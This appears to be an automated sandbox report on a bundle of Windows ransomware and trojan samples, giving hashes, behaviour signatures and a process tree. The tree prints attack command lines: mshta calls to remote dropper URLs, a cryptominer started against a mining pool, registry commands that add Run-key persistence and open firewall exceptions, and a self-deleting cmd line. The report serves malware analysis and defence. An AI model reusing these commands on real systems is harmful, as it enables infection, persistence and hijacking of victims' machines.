Overview

overview

10

Static

static

1

RNSM00263.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    109s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/02/2025, 00:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00263.7z

  • Size

    14.7MB

  • MD5

    b5605a2b8f66bf24c593e25b8f4ac814

  • SHA1

    16349b6d8e7fe24a2a6c814a1b495a733f3c710a

  • SHA256

    2e8e77d7d27a593727853a3ced3b73091e03240280d2c1823a112e68732d4f9a

  • SHA512

    85c44d4243cc1f807712983266774177907dc34f219c3f7d55f54dede838ca8bfbce3958b1b7062ffa4d2e6770bf2fed5b0de2d25150f0d01e49a3d6c3b1a4c3

  • SSDEEP

    393216:OPP2rxjRt6uTEKT3SU+jIxEKkFnAh4ET1mpEiKj5:o2rxf5PiJjIxEK2nAXA+j5

Score
10/10
blackshadesmodiloaderdefense_evasiondiscoverypersistenceransomwareratspywarestealertrojanupx

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://report22new.com/inst.php?id=02967

Extracted

Language
hta
Source
URLs
hta.dropper

http://reporteriche.com/inst.php?id=02967

Extracted

Language
hta
Source
URLs
hta.dropper

http://secondreporters.com/inst.php?id=spirt01

Signatures

  • Blackshades

    Blackshades is a remote access trojan with various capabilities.

    ratblackshades
  • Blackshades family
    blackshades
  • Blackshades payload 3 IoCs
  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

    trojanmodiloader
  • Modifies WinLogon for persistence 2 TTPs 5 IoCs
    persistence
  • Modifies firewall policy service 3 TTPs 22 IoCs
    defense_evasion
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
    defense_evasion
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    defense_evasion
  • Modiloader family
    modiloader
  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Windows security bypass 2 TTPs 4 IoCs
    defense_evasiontrojan
  • Contacts a large (2075) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • ModiLoader Second Stage 1 IoCs
  • Adds policy Run key to start application 2 TTPs 2 IoCs
    persistence
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 53 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 6 IoCs
    defense_evasion
  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 15 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 10 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Drops desktop.ini file(s) 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 46 IoCs

    remove IFEO.

    defense_evasion
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • AutoIT Executable 4 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 3 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 7 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 5 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • NSIS installer 6 IoCs
    installer
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Control Panel 10 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 16 IoCs
    adwarespyware
  • Modifies Internet Explorer start page 1 TTPs 2 IoCs
    stealer
  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 30 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00263.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1532
  • C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4584
    • C:\Users\Admin\Desktop\00263\HEUR-Trojan-Ransom.Win32.Agent.gen-87e68ef0e5bbaa96be726907509b6c3b76a79f2fb09f5b54bda21e6734eae617.exe
      HEUR-Trojan-Ransom.Win32.Agent.gen-87e68ef0e5bbaa96be726907509b6c3b76a79f2fb09f5b54bda21e6734eae617.exe
      2⤵
      • Modifies WinLogon for persistence
      • Executes dropped EXE
      • Maps connected drives based on registry
      • Sets desktop wallpaper using registry
      • System Location Discovery: System Language Discovery
      • Modifies Control Panel
      • Modifies Internet Explorer settings
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4176
    • C:\Users\Admin\Desktop\00263\HEUR-Trojan-Ransom.Win32.Generic-0ec1e06fd0a8f5572aaf9b08b9218f20676ac769b131e42e794d4239d17ef761.exe
      HEUR-Trojan-Ransom.Win32.Generic-0ec1e06fd0a8f5572aaf9b08b9218f20676ac769b131e42e794d4239d17ef761.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\Users\Admin\Desktop\00263\HEUR-Trojan-Ransom.Win32.Generic-0ec1e06fd0a8f5572aaf9b08b9218f20676ac769b131e42e794d4239d17ef761.exe
        C:\Users\Admin\Desktop\00263\HEUR-Trojan-Ransom.Win32.Generic-0ec1e06fd0a8f5572aaf9b08b9218f20676ac769b131e42e794d4239d17ef761.exe
        3⤵
          PID:4676
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 464
          3⤵
          • Program crash
          PID:440
      • C:\Users\Admin\Desktop\00263\Trojan-Ransom.MSIL.Cyclone.p-361185113ad6758104fa4c309b88c3dea669a92c1b53045714525d18df297a65.exe
        Trojan-Ransom.MSIL.Cyclone.p-361185113ad6758104fa4c309b88c3dea669a92c1b53045714525d18df297a65.exe
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3540
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Omsiy.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Omsiy.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3332
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
            4⤵
              PID:5628
            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:5764
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.NSIS.MyxaH.qqr-0ff45e5a5bf26fb129fbc80830b64c864eff8509d7ba73968f5f5afee9e76f8c.exe
          Trojan-Ransom.NSIS.MyxaH.qqr-0ff45e5a5bf26fb129fbc80830b64c864eff8509d7ba73968f5f5afee9e76f8c.exe
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:2324
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.NSIS.Onion.rfx-447b415548109af7cc0f365b451dca3871165b22c2f78d2404ef6d64ef53af50.exe
          Trojan-Ransom.NSIS.Onion.rfx-447b415548109af7cc0f365b451dca3871165b22c2f78d2404ef6d64ef53af50.exe
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.NSIS.Onion.rfx-447b415548109af7cc0f365b451dca3871165b22c2f78d2404ef6d64ef53af50.exe
            Trojan-Ransom.NSIS.Onion.rfx-447b415548109af7cc0f365b451dca3871165b22c2f78d2404ef6d64ef53af50.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2884
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.NSIS.Xamyh.byr-8628de0058b0a0a3fb0a68a6e62827e28d8b74a7a0cfed84764394692caefd92.exe
          Trojan-Ransom.NSIS.Xamyh.byr-8628de0058b0a0a3fb0a68a6e62827e28d8b74a7a0cfed84764394692caefd92.exe
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4788
          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.NSIS.Xamyh.byr-8628de0058b0a0a3fb0a68a6e62827e28d8b74a7a0cfed84764394692caefd92.exe
            Trojan-Ransom.NSIS.Xamyh.byr-8628de0058b0a0a3fb0a68a6e62827e28d8b74a7a0cfed84764394692caefd92.exe
            3⤵
            • Adds policy Run key to start application
            • Drops startup file
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies Control Panel
            • Suspicious use of AdjustPrivilegeToken
            PID:3276
            • C:\Users\Admin\AppData\Roaming\{50C269F5-F918-2AC0-7A1D-38E5B99CA1E6}\fsutil.exe
              "C:\Users\Admin\AppData\Roaming\{50C269F5-F918-2AC0-7A1D-38E5B99CA1E6}\fsutil.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:6140
              • C:\Users\Admin\AppData\Roaming\{50C269F5-F918-2AC0-7A1D-38E5B99CA1E6}\fsutil.exe
                "C:\Users\Admin\AppData\Roaming\{50C269F5-F918-2AC0-7A1D-38E5B99CA1E6}\fsutil.exe"
                5⤵
                • Adds policy Run key to start application
                • Executes dropped EXE
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Modifies Control Panel
                • Suspicious use of AdjustPrivilegeToken
                PID:5268
            • C:\Windows\SysWOW64\cmd.exe
              /d /c taskkill /t /f /im "Trojan-Ransom.NSIS.Xamyh.byr-8628de0058b0a0a3fb0a68a6e62827e28d8b74a7a0cfed84764394692caefd92.exe" > NUL & ping -n 1 127.0.0.1 > NUL & del "C:\Users\Admin\Desktop\00263\Trojan-Ransom.NSIS.Xamyh.byr-8628de0058b0a0a3fb0a68a6e62827e28d8b74a7a0cfed84764394692caefd92.exe" > NUL
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:2336
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Bitman.prq-0f5bfe270ccd6b20554570e407cc0490477030b4cbb3a991fb647810d6a75039.exe
          Trojan-Ransom.Win32.Bitman.prq-0f5bfe270ccd6b20554570e407cc0490477030b4cbb3a991fb647810d6a75039.exe
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1656
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 488
            3⤵
            • Program crash
            PID:3660
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Bitman.qaq-484310b18da6020cef984bb0526e2c96a56f3ab888bd82ab13443a7b95677a7e.exe
          Trojan-Ransom.Win32.Bitman.qaq-484310b18da6020cef984bb0526e2c96a56f3ab888bd82ab13443a7b95677a7e.exe
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4076
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4076 -s 152
            3⤵
            • Program crash
            PID:3108
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.adrx-252606462204f769be29fbd0a7370fb370648a24062efbbc6164c47384ea72cd.exe
          Trojan-Ransom.Win32.Blocker.adrx-252606462204f769be29fbd0a7370fb370648a24062efbbc6164c47384ea72cd.exe
          2⤵
          • Modifies WinLogon for persistence
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3184
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\System32\mshta.exe" http://report22new.com/inst.php?id=02967
            3⤵
            • System Location Discovery: System Language Discovery
            PID:3844
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\sdtsh.bat" "
            3⤵
            • System Location Discovery: System Language Discovery
            PID:5032
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.buao-b897e6c3b48dafdb89c38a61609a56d65473ee5087dbe1f14935f112e4194d18.exe
          Trojan-Ransom.Win32.Blocker.buao-b897e6c3b48dafdb89c38a61609a56d65473ee5087dbe1f14935f112e4194d18.exe
          2⤵
          • Modifies WinLogon for persistence
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4420
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\System32\mshta.exe" http://reporteriche.com/inst.php?id=02967
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4328
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\scgdfgasfbh.bat" "
            3⤵
            • System Location Discovery: System Language Discovery
            PID:3972
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.cnkq-2314b1587fdbad3751c6c87de99254cde6b86a82597054e1929530bc7dd11f53.exe
          Trojan-Ransom.Win32.Blocker.cnkq-2314b1587fdbad3751c6c87de99254cde6b86a82597054e1929530bc7dd11f53.exe
          2⤵
          • Modifies WinLogon for persistence
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4620
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\System32\mshta.exe" http://secondreporters.com/inst.php?id=spirt01
            3⤵
            • System Location Discovery: System Language Discovery
            PID:5048
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\dkfjasdfshd.bat" "
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4288
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.iean-98087e0316a81117112bdd908d5d727904dbd374e6fd4dfd9f96903f484546c4.exe
          Trojan-Ransom.Win32.Blocker.iean-98087e0316a81117112bdd908d5d727904dbd374e6fd4dfd9f96903f484546c4.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4544
        • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.ihns-7db45877210fd5ddf027c63b3a493dbebd004859cf56622c0c2206b23523951f.exe
          Trojan-Ransom.Win32.Blocker.ihns-7db45877210fd5ddf027c63b3a493dbebd004859cf56622c0c2206b23523951f.exe
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3372
          • C:\Users\Admin\AppData\Local\Temp\iglsldvx.exe
            C:\Users\Admin\AppData\Local\Temp\iglsldvx.exe
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:4532
            • C:\Users\Admin\AppData\Local\Temp\7za.exe
              "C:\Users\Admin\AppData\Local\Temp\7za.exe" x C:\Users\Admin\AppData\Local\Temp\winflxgrd.7z -oC:\Users\Admin\AppData\Local\Temp\ -aoa -ponsNWbbonR
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1288
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                5⤵
                  PID:1656
              • C:\Users\Admin\AppData\Local\Temp\winflxgrd.exe
                "C:\Users\Admin\AppData\Local\Temp\winflxgrd.exe" -o http://mining.eligius.st -u 1ATtHdYywwXYsbb4kGc82cZtGhPcch8VGr -p x -g no
                4⤵
                • Executes dropped EXE
                PID:5412
          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.iqmc-637a452c8f31b7727ef6236b7a4d764845a7911a73c87d3978db49c7b7f8579d.exe
            Trojan-Ransom.Win32.Blocker.iqmc-637a452c8f31b7727ef6236b7a4d764845a7911a73c87d3978db49c7b7f8579d.exe
            2⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:4124
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yhTrV.bat" "
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1468
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Winlogon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\winlogon.exe" /f
                4⤵
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                PID:1760
            • C:\Users\Admin\AppData\Roaming\winlogon.exe
              "C:\Users\Admin\AppData\Roaming\winlogon.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:5396
              • C:\Users\Admin\AppData\Roaming\winlogon.exe
                winlogon.exe
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:5480
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f
                  5⤵
                    PID:5568
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\winlogon.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\winlogon.exe:*:Enabled:Windows Messanger" /f
                    5⤵
                      PID:5584
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f
                      5⤵
                      • System Location Discovery: System Language Discovery
                      PID:5648
                      • C:\Windows\SysWOW64\reg.exe
                        REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f
                        6⤵
                        • Modifies firewall policy service
                        • System Location Discovery: System Language Discovery
                        • Modifies registry key
                        PID:6012
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\darkeye-nosttingspersistent2.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\darkeye-nosttingspersistent2.exe:*:Enabled:Windows Messanger" /f
                      5⤵
                      • System Location Discovery: System Language Discovery
                      PID:5664
                      • C:\Windows\SysWOW64\reg.exe
                        REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "C:\Users\Admin\AppData\Roaming\darkeye-nosttingspersistent2.exe" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\darkeye-nosttingspersistent2.exe:*:Enabled:Windows Messanger" /f
                        6⤵
                        • Modifies firewall policy service
                        • System Location Discovery: System Language Discovery
                        • Modifies registry key
                        PID:6068
                  • C:\Users\Admin\AppData\Roaming\winlogon.exe
                    C:\Users\Admin\AppData\Roaming\winlogon.exe
                    4⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of SetWindowsHookEx
                    PID:5532
              • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.iuiw-180ad3ebe674e5f024c0c9950880467c4c592f7b8eab4c95a7460d25396310e9.exe
                Trojan-Ransom.Win32.Blocker.iuiw-180ad3ebe674e5f024c0c9950880467c4c592f7b8eab4c95a7460d25396310e9.exe
                2⤵
                • Modifies WinLogon for persistence
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:380
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\dfggdffgsdf.bat
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:5160
              • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.ivbx-d5d07f7b2f5b9b6b68dd6b7c62001ba1eea36b66f0a301b0a4b2ae6b65520804.exe
                Trojan-Ransom.Win32.Blocker.ivbx-d5d07f7b2f5b9b6b68dd6b7c62001ba1eea36b66f0a301b0a4b2ae6b65520804.exe
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:1832
                • C:\Users\Admin\E696D64614\winlogon.exe
                  "C:\Users\Admin\E696D64614\winlogon.exe"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of SetWindowsHookEx
                  PID:3488
                  • C:\Users\Admin\E696D64614\winlogon.exe
                    "C:\Users\Admin\E696D64614\winlogon.exe"
                    4⤵
                    • Modifies firewall policy service
                    • Modifies security service
                    • Modifies visibility of file extensions in Explorer
                    • Modifies visiblity of hidden/system files in Explorer
                    • UAC bypass
                    • Windows security bypass
                    • Disables RegEdit via registry modification
                    • Drops file in Drivers directory
                    • Event Triggered Execution: Image File Execution Options Injection
                    • Executes dropped EXE
                    • Windows security modification
                    • Checks whether UAC is enabled
                    • Indicator Removal: Clear Persistence
                    • System Location Discovery: System Language Discovery
                    • Modifies Control Panel
                    • Modifies Internet Explorer settings
                    • Modifies Internet Explorer start page
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of SetWindowsHookEx
                    • System policy modification
                    PID:5876
              • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.jagv-88520ca1e5e6e24f412111bda3a1b636795705c16622d6d8c9d0be431288eab9.exe
                Trojan-Ransom.Win32.Blocker.jagv-88520ca1e5e6e24f412111bda3a1b636795705c16622d6d8c9d0be431288eab9.exe
                2⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:5036
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 420
                  3⤵
                  • Program crash
                  PID:1784
              • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.jaty-578a9d7d69f18775d40d77d2dce46c412ece738908e6261be0afb0f836590c26.exe
                Trojan-Ransom.Win32.Blocker.jaty-578a9d7d69f18775d40d77d2dce46c412ece738908e6261be0afb0f836590c26.exe
                2⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2088
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2088 -s 424
                  3⤵
                  • Program crash
                  PID:1884
              • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.jewm-39fdf7cb955de78bb4c9e55ff269fd4dbdf8d5d38d540e2245f87cefb21fb91b.exe
                Trojan-Ransom.Win32.Blocker.jewm-39fdf7cb955de78bb4c9e55ff269fd4dbdf8d5d38d540e2245f87cefb21fb91b.exe
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops desktop.ini file(s)
                • Drops file in Windows directory
                PID:1832
                • C:\Users\Admin\AppData\Roaming\clean.exe
                  "C:\Users\Admin\AppData\Roaming\clean.exe"
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:5508
                  • C:\Users\Admin\AppData\Roaming\hfehfMbZTQWMYLdDJUDMF.cmd
                    "C:\Users\Admin\AppData\Roaming\hfehfMbZTQWMYLdDJUDMF.cmd" "C:\Users\Admin\AppData\Roaming\XKIbMLEbRJHLYiIDZOh" "C:\Users\Admin\AppData\Roaming\clean.exe"
                    4⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:5776
            • C:\Windows\system32\taskmgr.exe
              "C:\Windows\system32\taskmgr.exe" /4
              1⤵
              • Checks SCSI registry key(s)
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:4968
              • C:\Windows\system32\taskmgr.exe
                "C:\Windows\system32\taskmgr.exe" /1
                2⤵
                • Checks SCSI registry key(s)
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:4448
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2372 -ip 2372
              1⤵
                PID:5116
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1656 -ip 1656
                1⤵
                  PID:4724
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4076 -ip 4076
                  1⤵
                    PID:2976
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5036 -ip 5036
                    1⤵
                      PID:3040
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2088 -ip 2088
                      1⤵
                        PID:3352
                      • C:\Program Files (x86)\Internet Explorer\ielowutil.exe
                        "C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
                        1⤵
                          PID:5184
                        • C:\Windows\System32\rundll32.exe
                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                          1⤵
                            PID:5500
                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.cwho-8c87fa512af5333e5108cfa6981d2289e655d5d6f80e61a6c426980183bf6258.exe
                            "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.cwho-8c87fa512af5333e5108cfa6981d2289e655d5d6f80e61a6c426980183bf6258.exe"
                            1⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5852
                            • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                              "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
                              2⤵
                                PID:2688
                            • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.daur-8178d69ffc11aadb2522ff521378877611d7c19e11bf27db6a45502db0a3b587.exe
                              "C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.PornoAsset.daur-8178d69ffc11aadb2522ff521378877611d7c19e11bf27db6a45502db0a3b587.exe"
                              1⤵
                              • Executes dropped EXE
                              PID:6060
